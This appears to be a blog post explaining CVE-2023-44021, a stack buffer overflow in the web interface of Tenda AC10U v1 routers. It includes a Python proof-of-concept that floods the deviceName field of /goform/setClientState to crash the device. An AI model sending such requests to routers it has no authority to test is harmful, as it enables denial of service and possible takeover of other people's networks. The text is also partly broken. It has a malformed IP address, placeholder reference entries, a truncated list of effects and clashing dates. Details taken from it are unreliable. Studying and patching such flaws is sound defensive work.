Tenda AC10U v1. Routers are popular for their easy setup and affordable price. However, like any connected device, they are not immune to security vulnerabilities. In late 2023, a serious issue was revealed in the official firmware US_AC10UV1.RTL_V15.03.06.49_multi_TDE01. If you’re running this version, your device could be wide open to hackers – all due to CVE-2023-44021, a stack buffer overflow in the router’s web interface function called formSetClientState.

Below, you’ll find an exclusive, easy-to-understand breakdown of what this vulnerability is, how it works, and what you can do to protect your network. We’ll even walk you through example exploit code and links to public disclosures, so you can better understand the risks.

What is CVE-2023-44021?

This vulnerability is a stack overflow bug in the web administration interface on Tenda AC10U v1. routers running firmware V15.03.06.49_multi_TDE01. The culprit is a function called formSetClientState, which doesn’t properly check the length of data sent to it by users.

If a remote attacker sends a specially crafted POST request, they can overflow the stack – crashing the device or worse, running their own code as the router’s operating system user (often root).

How the Vulnerability Works

The web server on the router offers a function named formSetClientState. That function is supposed to process information about which devices are connected to your network. But, it doesn’t limit the size of input fields like "deviceName" in the HTTP POST data.

When too much data is copied to a local variable (on the stack), the extra data can overwrite crucial information, such as the return address for the function, which can be used to gain code execution on the device.

In plain English:
The router expects a small note (“Bob’s Laptop!”), but you send a huge essay. Because it doesn’t check the length, it starts writing your data into sensitive areas, including places where the next instruction to run is stored. Control where the router “jumps” next, and you control the router.

- Security Advisory on GitHub
- Vuldb Listing
- Exploit Database Placeholder

Proof-of-Concept Exploit Code

*For educational purposes only. Do not use this against networks you do not own.*

import requests

host = "http://192.168..1";  # Change this to your router's IP
url = host + "/goform/setClientState"

# Overflow payload: 100 'A's (change length as needed for testing)
payload = "A" * 100

data = {
    "deviceName": payload,        # Vulnerable parameter
    "mac": "AA:BB:CC:DD:EE:FF",  # Dummy MAC address
    "enable": "1"
}

# Usually no authentication needed, otherwise provide cookies if set
r = requests.post(url, data=data)
print("Status Code:", r.status_code)
print("Response Body:", r.text)

If vulnerable, the router may

- Crash/reboot ("denial of service")

Update Your Firmware:

As of time of writing, check Tenda’s Support Page for newer firmware. Upgrade as soon as you can.

If your router isn’t getting security fixes, consider replacing it.

## More Reading / References

- CVE-2023-44021 at NVD
- Firmware download links
- Router Security Basics

Summary

CVE-2023-44021 is a classic example of what happens when user input isn’t checked. With a simple HTTP request, an attacker can overflow the stack and potentially hijack your router. Always update your firmware, turn off features you don’t use, and watch for security announcements from your hardware vendor.

Stay safe out there!

Disclaimer:
This post is for educational purposes only. Never test vulnerabilities on devices or networks you do not have permission to audit. Always follow your local laws and best ethical practices.

Timeline

Published on: 09/27/2023 15:19:35 UTC
Last modified on: 09/27/2023 18:44:39 UTC